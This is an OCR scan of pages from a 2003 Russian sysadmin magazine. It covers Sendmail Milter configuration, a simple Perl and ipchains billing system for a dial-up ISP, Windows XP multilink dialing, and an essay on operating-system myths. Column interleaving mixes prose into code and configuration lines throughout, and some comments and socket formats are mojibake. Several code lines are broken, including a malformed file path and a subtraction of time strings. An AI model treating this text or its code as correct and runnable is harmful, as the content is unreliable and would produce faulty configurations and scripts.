Здесь milter.host.ru и 2525 – хост, на котором запущен и по инициативе любого агента вызывается abort() и
Milter, и порт (номер выбран произвольно). close().
Если вы привыкли напрямую править sendmail.cf (что В листинге 2 приведен вариант метода eom(), с помо-
очень не рекомендуется), то в него нужно добавить сле- щью которого можно вызывать из Milter произвольные про-
дующее: граммы для проверки сообщения (например, на спам и
вирусы). В этом методе вызывается программа
O InputMailFilters=mainfilter clamscanm, принимающая файл на стандартный ввод и
#O Milter.LogLevel O Milter.macros.connect=j, _, {daemon_name},
{if_name}, {if_addr} выводящая результат на стандартный вывод. Результат
O Milter.macros.helo={tls_version}, {cipher}, {cipher_bits}, читается методом read() целиком и анализируется на при-
{cert_subject}, {cert_issuer}
O Milter.macros.envfrom=i, {auth_type}, {auth_authen}, сутствие подстроки «FOUND». Если есть такая строка,
{auth_ssf}, {auth_author}, {mail_mailer}, {mail_host}, Milter устанавливает причину отказа методом setreply, пи-
{mail_addr}
O Milter.macros.envrcpt={rcpt_mailer}, {rcpt_host}, {rcpt_addr} шет в лог и отклоняет сообщение. Так как все это проис-
Xfilteronegoru, S=inet:2525@milter.host.ru, ходит при установленном SMTP-соединении, отправитель
T=C:10m;S:30s;R:30s;E:10m
Описание каждого фильтра в файле конфигурации получит «отлуп» сразу. Аналогично можно проверять по-
Sendmail может сопровождаться тремя опциями: F, S и чту на спам.
T. Если опция F не задана, то проблемы с фильтром без- Следует отметить, что в процессе эксплуатации неак-
болезненны для доставляемого Sendmail сообщения. куратно запрограммированный Milter может оставлять за
Если F=T, неработоспособность фильтра приводит к вре- собой временные файлы. Следующая небольшая програм-
менной неудаче (temporary fail) доставки сообщения. Если ма на Python стирает оставленные Milter устаревшие фай-
F=R и фильтр недоступен, сообщение отвергается лы из каталога /var/tmp:
(reject). В опции S указывается адрес фильтра, имеющий
один из приведенных ниже форматов: #!/usr/bin/python import os, glob, time, stat recent =
time.time() - 60*20 # 20 min for fl in glob.glob(“/var/tmp/
*.tmp”):
S=local:ïóòü try:
S=inet:ïîðò@õîñò if os.stat(fl)[stat.ST_MTIME] < recent:
S=inet6:ïîðò@õîñò os.unlink(fl)
except:
pass
Здесь путь – путь к UNIX-сокету в локальной файло-
вой системе, остальные – IP-сокеты на некотором хосте. Итак, Milter дает нам полный контроль над передачей
Опции Т задают таймауты. C – таймаут соединения с сообщений на самом раннем этапе – этапе входящего
фильтром; S – таймаут при передаче информации от SMTP-соединения. Фильтры можно писать на C/C++, Perl
Sendmail фильтру; R – таймаут при ожидании ответа филь- и других языках, тем не менее Python Milter отлично справ-
тра; E – таймаут ожидания окончательного подтвержде- ляется с задачей.

№2(3), февраль 2003 41


администрирование

СОЗДАНИЕ
ПРОСТЕЙШЕЙ
БИЛЛИНГОВОЙ
СИСТЕМЫ
Наверное, хотя бы один раз в жизни каждому из нас приходилось покупать Интернет по Dial-Up.
А раз так, то каждый из нас сталкивался с биллинговой системой: подсчетом количества времени,
трафика (мегабайт) и денег.

ДЕНИС МЯСНИЧЕНКО
администрирование
В сумме весь данный комплекс про- программу под управлением Unix – сание системы), то зачастую вы по-
грамм и называется биллинговой си- но в итоге можно спорить сколько лучаете готовую систему, но если что-
стемой. Но биллинговые системы угодно и не прийти к единому мне- то пойдет не так, вы будете отвечать
используются не только у интернет- нию. Единственной альтернативой перед вашими клиентами сами.
сервис-провайдеров (Internet Service будет использование платформы Есть еще нюанс. Компании всегда
Provider). Web и, как следствие, использова- предоставляют уже готовую систему,
Если на вашей АТС поминутная ние программы apache web server, а с одной стороны, это очень удобно, к
оплата переговоров по коммутиру- в самой программе – генерация вам приедут знающие специалисты
емой линии, то на этой АТС также html-страниц для показа через Сеть. и создадут всю систему «под ключ»
обязательно должна работать бил- буквально за несколько дней, но есть
линговая система. и обратная сторона медали: биллин-
Если вы пользуетесь мобильным Анализ биллинговых говая система будет у вас не уни-
телефоном, то у компании-провай- систем на рынке софта кальная, а это в свою очередь зна-
дера телефонных услуг также суще- Если вы решили приобрести уже го- чит, что вас смогут «взломать». Так
ствует огромный комплекс биллин- товый биллинг, для начала определи- как опытные хакеры могут найти
говых программ. тесь: что именно вам нужно. одну «дыру» в системе и, соответ-
В нашем контексте (для ИСП) Для некоторых провайдеров мо- ственно, могут взломать и все подоб-
«биллинговая система» имеет смысл жет быть выгоднее купить уже гото- ные системы. В данном случае даже
как комплекс программ для учета ко- вый комплекс биллинговых программ, самая простая, но уникальная систе-
личества секунд и байт, затраченных нежели писать их самим, для этого ма будет в огромном выигрыше, т.к.
пользователем в Интернете. Вы мо- сделаем небольшой анализ рынка ни у кого больше такой нет.
жете спросить, почему же именно се- биллинговых систем. Итак, несколько замечаний по по-
кунд и байт? Очень просто – это ба- На нашем рынке программного воду выбора программ биллинга в за-
зовые единицы измерения. Ведь обеспечения вы можете найти практи- висимости от того, что именно вам
именно из секунд мы можем получить чески любые биллинги, их разрабаты- надо подсчитывать и каким именно
остальные значения: минуты, часы, вают многие компании, но очень мало оборудованием вы можете распола-
сутки и так далее; из байт – килобай- кто может позволить себе купить дан- гать. Но нельзя считать взгляд авто-
ты, мегабайты и т. д. «А деньги?» – ные программные продукты в силу их ра единственным и непогрешимым,
возразите вы. Да, все правильно, но огромной стоимости. Например, бил- тем более в области информационных
исходя из секунд и байт, вы сможете, линговые системы для телефонных технологий можно одно и то же сде-
установив тариф, получить деньги. компаний стоят начиная от $500000. А лать многими способами.
Биллинговые системы бывают это уже совершенно другой уровень, Если вам надо подсчитывать вре-
разные, их можно примерно разде- нежели компании интернет-провайде- мя пребывания пользователя на мо-
лить по нескольким признакам: ра, тут биллинг можно приобрести и за демном пуле по коммутируемой ли-
 под какую операционную систему $200. Но все упирается в то, что имен- нии, то вам легче всего будет зака-
написан данный биллинг (Windows, но будет делать данный биллинг! В зать биллинг у программиста. Это
Unix, Linux, OS/2 и т. д.); среднем цена достаточно хорошего дешево (около $200); система будет
 по какому принципу данный комп- биллинга колеблется от $500 до $5000 формировать свои выводы в виде
лекс работает (принцип «счетчи- для компаний ИСП. html-страниц как единственного уни-
ка», принцип «снифера», принцип И как вы понимаете, за разные версального средства отображения
«анализа log-файлов» и т. д.); суммы создаются и разные биллинги. информации. Причем за $200 вы по-
 как именно написан комплекс про- Биллинги также могут либо работать лучите готовый уникальный биллинг.
грамм в самой системе биллинга с определенным оборудованием, либо Если же вы хотите организовать
(бинарные файлы, скриптовые нет. Например, если вы приобрели биллинг на принципе анализа log-фай-
файлы и т. д.). себе оборудование модемного пула лов, то данный комплекс программ
Cisco – это уже дополнительное обо- будет еще дешевле – около $100-150.
Вы вправе не согласиться с та- рудование к обычному компьютеру, и, Данные биллинги будут работать
кой классификацией и выделить как следствие, возрастает цена мини- практически на любом оборудовании,
еще несколько признаков. Напри- мального биллинга с $200 до $500. все зависит от того, что именно вы
мер, такой: вид вывода информа- Так же имеются нюансы юридичес- поставите как модемный пул. Для ма-
ции. Но автор намеренно решил не кого плана. Если вы покупаете бил- ленькой компании интернет-сервис-
относить данный признак к так на- линговую систему у компании с гаран- провайдера автор советует приобрес-
зываемым «основным», так как нет тией или ответственностью компании ти расширитель COM-портов, так как
единого стандарта на вывод инфор- перед вами, то в зависимости от до- на один компьютер архитектуры PC
мации. Новичкам нагляднее будет говора цена может возрасти от двух можно поставить не более 2 портов.
рабочая программа под управлени- до десятков раз. Компьютер класса более чем 486DX/
ем MS Windows, для опытных сис- Если же вы заказываете создание 16 RAM/1.2 Gb HDD – это для биллинг-
темных администраторов предпоч- биллинга у программиста или группы сервера, но при этом вам придется
тительнее будет увидеть консольную программистов (для ускорения напи- поставить отдельно веб-сервер на дру-

№2(3), февраль 2003 43


администрирование
гом компьютере, либо увеличить про- жете зайти в сеть IRC на канал, по- есть небольшой недостаток – нович-
изводительность данного компьютера. священный биллинговым системам и ку в ней очень тяжело разобраться. А
Создание биллинг-комплекса с получить помощь или консультацию. данная статья рассчитана на нович-
использованием дополнительного Данная статья не претендует на ков в этом деле.
оборудования, например, модемного полное описание всех возможных Итак, мы выбрали ветвь RedHat-
пула Cisco, сразу увеличит ваши зат- биллингов, все их описать в одной ста- дистрибутивов. Теперь надо опреде-
раты, но, с другой стороны, если у вас тье невозможно. Темой данной статьи литься с версией. Автор предлагает
есть деньги на такую дорогую аппа- является создание простейшего бил- брать последнюю (на момент написа-
ратуру, то вам уже не страшно будет линга для маленького новоиспеченно- ния статьи) – 7.3 – стабильная после-
услышать цены на данные комплек- го интернет-сервис-провайдера. дняя версия.
сы. По данным сети IRC только модуль Для данного дистрибутива нужен
снятия статистики с аппаратуры Cisco достаточно мощный компьютер, а так
будет стоить от $200 до $1000, не учи- Создание простейшей как мы рассчитываем на довольно
тывая саму биллинг-статистику. Дан- биллинговой системы слабый компьютер, то лучше взять
ный вид биллинга автор советует за- клон дистрибутива RedHat украинс-
казывать уже не программисту-оди- Стадия 1: анализ кой команды BlackCat Linux Team. Они
ночке, а команде программистов. Это Для примера рассмотрим создание ввели дополнительный компонент,
будет более дешевый выход. простейшей биллинговой системы, повышающий безопасность дистрибу-
В зависимости от принципа снятия построенной по принципу скриптов- тива. Он разрабатывался, когда еще
статистики очень варьируется сто- счетчиков для снятия трафика и под- не было таких мощных машин, и бу-
имость разработки системы. счета времени, затраченного пользо- дет себя прекрасно чувствовать на
 Использование принципа скрип- вателем в Интернете. Данная статис- слабом компьютере.
тов – один из самых «дешевых» тика больше будет приемлема для Плату расширения COM-портов
принципов. Но он имеет массу не- провайдера, использующего модем- можете выбрать самостоятельно: тут
достатков, а главное – он не мо- ный пул. Мы будем создавать биллин- не возникнет проблем. Для всех них
жет показать статистику в режи- говую систему, ориентируясь на опе- существуют драйверы под RedHat 6.2.
ме реального времени. Его цена рационную систему Linux, так как она Наш выбор: BlackCat Linux 6.2 на
колеблется от $200 до $500. открыта, ее можно свободно купить P-MMX-166/32 RAM/2Gb HDD.
 Принцип «снифера» заключается или загрузить из Интернета. Исходя
в создании программы, которая из выбранного дистрибутива Linux, Стадия 2: реализация
будет анализировать и считать все мы выберем компьютер и приступим Для реализации задуманного нам по-
пакеты на данном компьютере. к написанию. требуются знания операционной сис-
Для этого уже нужна более высо- Дистрибутивов Linux существует темы Linux, немного программирова-
кая производительность компью- огромное количество. Есть дистрибу- ния на языке Perl и Bash. Bash на са-
тера, нежели на принципе «скрип- тивы, которые больше ориентирова- мом деле не язык программирования,
тов»: около (P-MMX-166/64 RAM/ ны на серверы; есть те, которые боль- а язык написания скриптов, как и Perl.
4Gb HDD). Так как в режиме ре- ше ориентированы на графику; есть Если кто-то захочет, то сможет это все
ального времени некая програм- такие, которые пытаются потягаться реализовать на любом другом языке
ма-демон будет работать на уров- с MS Windows на поприще рабочих программирования.
не ядра или на уровне пользова- станций, и это у них очень хорошо Итак, для того чтобы начинать пи-
тельских программ по терминоло- получается. сать, нам надо знать как это все ра-
гии операционной системы Linux. В нашем же случае необходимо ботает в операционной системе. Схе-
А при большом трафике, около выбрать сервер. Хотя из любого дист- ма довольно-таки простая.
40 Мбит в секунду и выше, пона- рибутива Linux можно сделать самому
добится еще большая производи- руками и сервер, и рабочую станцию, и
тельная мощность компьютеров. мультимедийную станцию, но все-таки звонок пользователя
лучше выбирать изначально сервер-
В любом случае настройка про- ориентированный дистрибутив. Таким,
грамм-серверов и компьютеров-сер- на взгляд автора, является дистрибутив
веров – это отдельная сумма. Т.е. ав- RedHat – самый распространенный ди-
тор приводит цены, исходя из данных стрибутив по части серверных опера-
Интернета (irc.tsua.net, канал #billing). ционных систем. Многим он может не соединение модемов, авторизация
Цены в разных регионах могут отли- понравиться, или не нравится уже сей-
чаться и очень сильно за счет «выез- час, – вы вправе выбрать любой дру-
да к клиенту» и т. д., в статье цены гой дистрибутив и, автор думает, у вас
приводятся «чистые», т.е. телерабо- все получится без изменения исходных
та, без выезда к клиенту, клиент сам кодов, приведенных в данной статье.
устанавливает комплекс на своем Многие могут высказаться за опе- поднятие TCP/IP-протокола
оборудовании. В любом случае вы мо- рационную систему FreeBSD, но у нее

44
администрирование
Начнем по порядку. Пользователь директории [/etc/ppp]. Добавим в $logintime;
звонит на сервер. Модем поднимает конец обоих файлов по строке: 13.open(FL, ‘>> /var/log/inet.usr’);
трубку и происходит установка связи 14.print(FL, “User: $username, LogIn:
$logintime, LogOut: $logouttime,
двух модемов. Когда связь установ- /etc/ppp/billing-up {PEERNAME} OnLineTime: $timeonline”);
лена, процесс входа пользователем в /etc/ppp/billing-down {PEERNAME}
Сеть переходит во вторую фазу – Первые строки программы такие
фазу авторизации. Затем, после ав- соответственно. Данные строчки пос- же, как и в предыдущей программе.
торизации, наступает фаза поднятия ле авторизации или выход-авториза- Строка 04 – переприсваивание име-
TCP/IP-протокола. Вот так происходит ции запустят наши программы бил- ни пользователя. Строки 05-07 – от-
вход пользователя в Сеть в Linux. Вы- линговой системы. Через пробел в крытие файла, чтение из него стро-
ход происходит в обратном порядке. наши скрипты мы добавляем любые ки, закрытие файла, или, точнее, ос-
Сначала опускается TCP/IP-протокол, переменные, которые захотим пере- вобождение дескриптора файла.
затем выход-авторизация, затем раз- дать в программу. Переменная Строка 08 – это обрезание лишних
рыв связи. Иногда бывает, что проис- {PEERNAME} имеет значение имени пробелов и символа перевода карет-
ходит разрыв связи не по воле пользо- пользователя или, точнее сказать, его ки. Строка 09 – разбиение строки на
вателя. Тогда немного меняется схе- логина. О том, как сделать полную массив переменных. Переприсваи-
ма: сначала происходит разрыв свя- авторизацию с паролем через соб- ваем в с троке 10 время входа
зи, затем уже снятие TCP/IP-протоко- ственную систему биллинга, будет от- пользователя для наглядности. Уз-
ла, и последнее – выход-авторизация. дельная статья. Так как нам необхо- наем время выхода пользователя в
Мы внесем некоторые изменения димо было передать в биллинговую с троке 11. В строке 12 узнаем,
в данную схему, а именно: добавим систему не только имя пользователя, сколько времени пробыл пользова-
дополнительный блок. После уста- но и время его входа – мы воспользу- тель на линии, данное число пред-
новки соединения и полной автори- емся языком программирования Perl ставляет собой количество секунд.
зации будет выполняться наша ма- и вызовем функцию системного вре- В строке 13 открываем файл для
ленькая программа, которая будет мени. добавления записи о пользователе.
сохранять имя пользователя, время Строка 14, собственно, сама запись:
его входа и любые другие данные, auth-up фиксируем имя пользователя, время
которые могут потребоваться в ва- 1.#!/usr/bin/perl входа, время выхода и время, прове-
шей системе. 2.# Ïðîãðàììà auth-up денное пользователем на линии.
3.# Ñîõðàíåíèå ëîãèíà ïîëüçîâàòåëÿ
Так же добавим дополнительное è âðåìåíè åãî âõîäà Данная система биллинга очень
звено и в выходную цепочку, поста- простая: она считает только лишь вре-
4.$username = $ARGV[1];
вив дополнительное звено после вы- мя, проведенное пользователем на
ход-авторизации. 5.open(FL, ‘> /etc/ppp online.usr’); линии. Для того чтобы считать коли-
6.print(FL, “$username “, localtime,
“\n”); чество байт, которые пользователь
загрузил или выгрузил из Интернета,
звонок пользователя
Строка 01 – обязательная, она сооб- нужно усложнить наши программы. В
щает, что это Perl-программа. Строка каждом конкретном случае надо под-
04 – мы переприсваиваем имя пользо- ходить отдельно.
вателя из массива в переменную, это- Для той операционной системы, ко-
го можно и не делать, – это сделано торую мы выбрали для написания бил-
для наглядности. Строка 05 – откры- линга, свойственно ядро (kernel) версии
соединение модемов, авторизация
ваем файл для записи, в данном фай- 2.2.х. В данном ядре была реализова-
ле будет храниться строка: что за на система контроля за IP-пакетами –
пользователь зашел и во сколько (в на уровне IP-цепочек (ipchains). Для
формате UTC). Строка 06 – собствен- версии ядра 2.4.х уже реализована си-
но, запись имени пользователя и вре- стема Netfilter, с управлением через IP-
мени его входа в систему. таблицы (iptables). Она более гибкая и
сохранение временных данных,
более совершенная, нежели цепочки.
необходимых для подсчета auth-down Но в выбранной операционной систе-
1.#!/usr/bin/perl ме применены цепочки, вы можете
2.# Ïðîãðàììà auth-down сами пересобрать ядро более высокой
3.# Îêîí÷àòåëüíûé àíàëèç ïðåáûâàíèÿ
ïîëüçîâàòåëÿ â Èíòåðíåòå. версии, но это уже отдельная тема.
Существует очень много способов
4.$username = $ARGV[1];
5.open(FL, ‘< /etc/ppp/online.usr’); подсчета трафика, автор приводит
поднятие TCP/IP-протокола 6.read(FL, $temp); для примера один из них: принцип
7.close(FL);
8.chomp($temp); счетчика.
На практике это произойдет пу- 9.@user = split(/ /,$temp); Чтобы подсчитать количество
10.$logintime = $user[2];
тем редактирования двух файлов 11.$logouttime = localtime; байт, загруженных или выгруженных
auth-up и auth-down, находящихся в 12.$timeonline = $logouttime — пользователем, необходимо создать

№2(3), февраль 2003 45


администрирование
правило цепочек для конкретного IP, Удаление всех правил в цепочке. ipchains –D output –d {REMOTEIP}/32
так как Linux использует для иден- –s 0/0 –j {PEERNAME}
тификации IP-пакетов IP-адреса. И ipchains –Z {PEERNAME}
каждому пользователю, подключен- Удаление правила из цепочки output.
ному по модему, всегда выдается IP- Удаление пустой цепочки. Из этих команд вы сами можете со-
адрес, причем реально выдается здать какую хотите систему счетчиков
два IP-адреса: один – на модем со ipchains –L {PEERNAME} –nvx по образу и подобию программ, при-
стороны сервера, второй – на модем веденных выше.
пользователя. Конечно же, IP-адре- Извлечение статистики по цепочке
са выдаются не на физически рабо- {PEERNAME} в полном формате, не Стадия 3: ограничения
тающий модем, а на компьютер. Для сокращая количество байт. на тестирование
создания правила цепочки необхо- До начала тестирования системы
димо знать IP-адрес, который вы- ipchains –A input –s {REMOTEIP}/32 надо сразу узнать количество ограни-
дался пользователю. Для этого су- –d 0/0 –j {PEERNAME} чений, присущих данной, крайне про-
ществует специальный параметр в стой, системе биллинга.
скриптах auth-up и auth-down, дан- Добавление правила в цепочку input, Во-первых, имя пользователя мо-
ный параметр называется {RE- которое будет срабатывать при появ- жет быть только лишь цифробуквен-
MOTEIP}. Его надо передать в про- лении пакета с исходным адресом на- ным и не более 8 символов.
грамму, которая будет создавать шего пользователя {REMOTEIP}/32 и Во-вторых, данная система не бу-
правило. А так же в программу, ко- адресом назначения любым (0/0), дет работать, если пользователи бу-
торая будет снимать показания счет- причем будет происходить переход в дут заходить одновременно с разных
чика и удалять после выхода пользо- цепочку с именем нашего пользова- модемов, так как это будет уже ком-
вателя счетчик. теля {PEERNAME}. мерческим биллингом. Для реализа-
Данные программы будут count-up ции этого пункта нужно не так уж мно-
и count-down, их вызов надо будет ipchains –A output –d {REMOTEIP}/32 го сил, но автор специально не при-
проставить из скриптов auth-up и auth- –s 0/0 –j {PEERNAME} водит в статье эти изменения. Вы их
down соответственно: всегда можете узнать или получить в
Добавление правила в цепочку Сети IRC, бесплатно или нет, – это уже
/etc/ppp/count-up {PEERNAME} output, которое будет срабатывать все зависит от вас.
{REMOTEIP}
/etc/ppp/count-down {PEERNAME} при появлении пакета с адресом на- В-третьих, данная система форми-
{REMOTEIP} значения нашего пользователя рует только выходной текстовый файл
{REMOTEIP}/32, а исходный адрес (/var/log/inet.usr), но не формирует
Именем цепочки будет служить имя может быть любым (0/0), причем пе- вывода в html-страницах. Этот пункт
пользователя, вернее, его логин. реход будет происходить в цепочку также можно реализовать при неболь-
с именем {PEERNAME}. ших затратах сил.
ipchains –N {PEERNAME} Остальное не столь существенно
ipchains –D input –s {REMOTEIP}/32 как первые три пункта.
Создание новой цепочки с именем –d 0/0 –j {PEERNAME} Ну вот и все. Если у кого-нибудь
пользователя. возникли вопросы по данной теме, из-
Удаление правила из цепочки менения или дополнения к статье, ав-
ipchains –F {PEERNAME} input. тор будет рад вам ответить.

46
администрирование

УСТАНАВЛИВАЕМ
MULTIPLE-DEVICE
(MULTILINK)-ДОЗВОН В
WINDOWS XP ТАТЬЯНА АНТИПОВА
В Windows XP вы можете использо- подключение и сервер удаленного до- dial-up-подключение), и затем, под
вать несколько модемов, чтобы под- ступа должны поддерживать Multilink. Network Tasks, жмем на Change
ключиться к ISP-провайдеру, тем са- Network Connections может дина- settings of this connection.
мым увеличивая общую скорость пе- мически управлять линиями, исполь- 3. Жмем вкладку General, и затем
редачи ваших данных. Multiple- зующими Multilink. Система позволя- выбираем устройства, которые вы хо-
device-дозвон (также известный как ет ограничивать количество исполь- тите использовать для этого подклю-
PPP, modem aggregation или Multilink) зуемых линий, тем самым устраняя чения.
позволяет объединять несколько фи- дополнительную пропускную способ- 4. Используйте один или несколько из
зических устройств в одно логичес- ность. Вы можете конфигурировать следующих шагов:
кое устройство. Как правило, две или условия, при которых будут использо-  Чтобы конфигурировать устрой-
больше ISDN-линий или модемов ваться дополнительные линии, изме- ства дозвона, телефонные номе-
связываются вместе для увеличения няя параметры настройки Network ра, адрес хоста, коды страны или
пропускной способности. Теперь это Connections. области, правила набора, жмите
можно использовать в системах Обратите внимание: если вы ис- на вкладку General.
Windows XP. пользуете Multilink, чтобы дозвонить-  Чтобы конфигурировать опции
ся до сервера, который требует об- дозвона и повторного дозвона или
Требования ратный вызов (callback), только одно X.25-параметры, жмите на вклад-
Чтобы использовать multiple-device- из ваших Multilink-устройств будет ис- ку Options.
дозвон, должны выполняться следую- пользоваться для обратного дозвона.  Чтобы конфигурировать иденти-
щие условия: Это происходит, потому что можно фикацию, шифрование данных
 Ваш ISP-провайдер должен под- хранить только один номер в учетной или окно терминала и варианты
держивать синхронизацию не- записи пользователя. Поэтому со- начального сценария, жмите на
скольких доменов. единится только одно устройство, и вкладку Security.
 Вы должны установить несколько все другие устройства не будут ис-  Чтобы конфигурировать сервер
модемов. пользоваться, – т.е. ваше подключе- удаленного доступа и используе-
 Для каждого модема требуется от- ние теряет функциональные возмож- мые протоколы для создаваемого
дельная телефонная линия. ности Multilink. Этой проблемы мож- подключения, жмите на вкладку
но избежать: Networking. Также кликните
Обратите внимание, что один  Если phonebook-запись для Settings и выберите Negotiate multi-
ISDN-адаптер может работать как не- Multilink-подключения использует link для single link подключения.
сколько устройств, потому что ISDN стандартную конфигурацию моде-  Чтобы включить и отключить
включает два 56-Kbps B канала, ко- ма, и сервер удаленного доступа, Internet Connection Sharing, Internet
торые могут использоваться незави- который вызывает ваше подклю- Connection Firewall и on-demand-
симо. чение, использует больше одной дозвон, жмите на вкладку
строки для одного номера. Advanced.
Конфигурируем  Если phonebook-запись для
multiple-device-дозвон Multilink подключения – ISDN с дву- Примечания:
Особенность Network Connections по- мя каналами, которые имеют один  В зависимости от формируемого
зволяет использовать Point-to-Point номер. типа подключения, в свойствах
(PPP) Multilink-дозвон в нескольких подключения появляются различ-
ISDN, X.25 или модемных линиях. Эта Конфигурируем ные опции и вкладки.
особенность объединяет несколько подключение:  Для подробной информации об оп-
физических каналов в логический 1. Жмем Start –> Start –> Network and ределенном элементе на вкладке
канал связи; получившийся канал уве- Internet Connections и затем жмем на щелкните правой кнопкой мыши
личивает пропускную способность Network Connections. по элементу и затем щелкните
подключения. Чтобы использовать не- 2. Жмем нa подключение, которое вы What’s This?
сколько устройств для дозвона, ваше хотите сконфигурировать (например,

№2(3), февраль 2003 47


администрирование

МИФЫ И ЛЕГЕНДЫ
СОВРЕМЕННОЙ
ОСОЛОГИИ…

ИЛИ «ОС –
ЭТО БОЛЬШОЙ
ПОЛОСАТЫЙ МУХ?»
Речь пойдёт о весьма распространённых мифах о трёх популярных операционных системах
(Windows, Unix FreeBSD и Linux) в частности и о других в общем (сюда будут отнесены QNX, OS/2,
BeOS и все-все-все…). Итак, что у нас есть на данный момент? Относительно немного:
компьютерное сообщество, имеющее дурную привычку тратить много сил, энергии, дискового
пространства серверов и сетевой пропускной способности для обсуждения того, чья игрушка
лучше, а именно: Windows, Unix FreeBSD или Linux. На основании этих… назовём их мягко –
споров, часто складывается определённое мнение людей, не особо в этом разбирающихся…
Попробуем заняться сложным и опасным делом – понять, кто прав, а кто – не очень.

АЛЕКСАНДР ПОТЕМКИН
48
администрирование
Microsoft Windows обеспечении есть ошибки! Более лям. Самое главное – это показать
И первым кандидатом (по популярно- того, их количество прямо пропор- пользователю возможности, а уже
сти) у нас будет продукция от небе- ционально количеству предостав- потом устранять все ошибки. И
зызвестной компании Microsoft. ляемых возможностей. Что точно только потом доводить безопас-
Встречайте! Операционная система можно поставить в вину Microsoft, ность до нормального уровня. С
Windows! Я думаю, а точнее даже уве- так это сырость первых продуктов. точки зрения рынка такую техно-
рен, что многие из нас слышали не Но если учесть, что задача была логию можно назвать более чем
один анекдот об этом творении (на- быстро завоевать рынок, и что правильной: сначала завоевать
пример, про зависающие ракеты под пользователям нужно было пока- нишу, а уже потом делать продукт
управлением ОС Windows), думаю, зать как можно больше возможно- нормальным. Оставим в стороне
что многие имели «счастье» лицез- стей, то такую стратегию понять этическую сторону данного вопро-
реть «крахи» и «баги» этой операци- можно. Смею заметить, что ста- са, ибо, как говорится в известной
онки… Но позволю себе «наглость» бильность последних продуктов поговорке: «Любовь приходит и
заняться подробным рассмотрением увеличивается, а «сырость» кода уходит, а кушать хочется всегда».
всех посягательств на неё. уменьшается.  Второй аргумент: сказать, что бро-
дить по Интернету с помощью ус-
 Посягательство первое: ОС  Посягательство четвёртое: поче- тановленных по умолчанию версий
Windows – самая ужасная опера- му в Windows я не могу сделать InternetExplorer & OutlookExpress
ционка! всего того, что я захочу?! весьма опасно – равнозначно
 Опровержение: угу, если ещё  Опровержение: вообще Windows тому, что просто тихо промолчать.
есть с чем сравнивать… Очень лю- не даёт (и не должна) полного до-  Плюс ко всему третий аргумент
бят эти фразы писать из-под ступа пользователю ко всему (во- появляется: конкуренты жить ме-
Internet Explorer (не в редакции для обще наиболее полный доступ ко шают. Тут уж всё просто: хочешь
Solaris…) или в mIRC, на худой ко- всему можно получить, лишь имея жить – умей вертеться! Так ведь
нец, в ICQ от Мирабилиса (опять- под рукой исходный код програм- из-за всей шумихи пользователи
таки Windows-версия). Это я всё к мы – тут уже прямая дорога в *nix- к конкуренту перебежать могут…
чему? Да к тому, что подобные системы). Простой домохозяйке не
фразы часто пишут люди, ничего нужно давать возможность всё Ну, с Windows хватит. Пожалуй,
другого не видевшие, либо слы- уничтожить одним действием. следует перейти к тому, что столь ча-
шавшие про легендарную надёж- сто позиционируется как реальная
ность Unix-систем (до них ещё до- Ещё подобные претензии можно конкуренция – ОС Linux. Тут всё не-
берёмся). услышать к Windows как к серверной сколько забавнее, поскольку проект
платформе. Здесь внимание на созда- Linux относительно молод, и его
 Посягательство второе: ОС ние: изначально была задача просто- пользователи весьма разношёрстны.
Windows – очень нестабильна… го и понятного доступа, а также при-
 Опровержение: Здесь сложно ятной работы пользователя. Тут уж, GNU/Linux OS
спорить. Можно привести только пардон, действует правило: безопас- И самое тут весёлое, с моей скром-
одно оправдание и один упрёк. Оп- ность системы обратно пропорцио- ной точки зрения, – это то, что Linux
равдание можно озвучить как тот нальна её удобству. И несмотря на позиционируется как вполне полно-
факт, что вообще заставить рабо- это, Microsoft делает многое для уве- ценная альтернатива продукции от
тать такую дикую помесь 16-ти и личения безопасности. Это отмечает- Microsoft. Наиболее часто в подобных
32-ух разрядного кода нужно су- ся и командами, специализированно утверждениях фигурирует дистрибу-
меть (сделанную в конечном ито- занимающимися безопасностью этой тив Linux Mandrake… Ну что ж… на
ге для пользователя – совмести- ОС; кроме того, на момент написания вкус и цвет, как говорится, товарищей
мость со своими программами по- этих строк Билл Гейтс провозгласил поискать надо, но когда «беспристра-
чему-то всем хочется увидеть и в высокий приоритет безопасности для стные» пользователи-журналисты
новой версии операционной систе- всей компании. Последний «клич» начинают утверждать, что вышеобоз-
мы). Но тут вступает в силу упрёк: такого толка привёл к тому, что до- наченный набор пакетов (да простят
всё бы неплохо, но вот заставлять минирование Netscape на рынке бра- меня его поклонники, но не нахожу я
людей платить за такой «програм- узеров было не то чтобы потеснено, лучших слов для того, что занимает
мистский опус» не есть хорошо… а скорее даже просто разгромлено в ненормально большое количество
пух и прах. Возникновения этого «кли- места на винчестере, в оперативной
 Посягательство третье: в ча» именно сейчас вполне можно обо- памяти, ну и времени процессора в
Windows очень много багов (оши- сновать тремя аргументами: придачу; хотя я точно знаю, что мож-
бок)…  В своей книге «Дорога в будущее» но сделать то же самое с меньшими
 Опровержение: да, много. Особен- Билл Гейтс и не скрывает ни от потерями для компьютера) ставится
но если пользоваться Windows 95, кого, что безопасность стоит дале- и работает лучше, быстрее и понят-
который более даже не поддержи- ко не на первом месте в предос- нее, чем Windows XP, то остаётся
вается. В любом программном тавлении продукта пользовате- только пожать плечами со словами из

№2(3), февраль 2003 49


администрирование
одного моего любимого литературно- ные требования – испытано на моём практики: какая модель разработки
го произведения: «Пишите? Ну-ну…». многострадальном компьютере. В большинства «свободных» (FSF) про-
К тому же мало кого, видимо, сму- этот самый момент мне вспоминают- грамм? Правильно! Базар! Посему
щают следующие маленькие факти- ся заверения ветеранов Linux о том, никакой упорядоченности и логики
ки: что Linux будет себя весьма уверенно здесь искать не стоит. Но это идеоло-
 Приблизительно каждые полгода чувствовать на компьютере с 133 MHz, гия; практика же такова, что на сер-
с упрямостью, достойной лучше- 12 Mb оперативной памяти, объём вер эту операционную систему поста-
го применения, заявляется о том, винчестера, необходимый для рабо- вить, конечно же, можно (равно как и
что уж теперь-то точно Linux го- ты, заявлялся равным 150 Mb. Далее DOS), но вот то, что придётся с ней
тов для замены ОС Windows на воспользуюсь рекламным слогом: но повозиться, – это точно. В современ-
десктопах конечных пользовате- после того как я попробовал Linux ном «дистрибутивостроении» пытают-
лей (обычно такие лозунги под Mandrake, я понял, что до этого в моей ся сделать «Linux с человеческим ли-
анонсами KDE – графической обо- жизни не было ничего подобного! Кро- цом». Результат – ядра с ошибками в
лочки, с сомнительными пользова- ме того что я получил это бинарное сетевой подсистеме, возможность
тельскими качествами). творение сегодня по рекордно низкой получить права root («суперпользова-
 Всё время кричится о том, что ОС цене и без всяких лицензионных про- тель» системы, которому система по-
Linux – самая что ни на есть ста- блем, я обнаружил, что также в комп- зволяет делать всё), возможность ус-
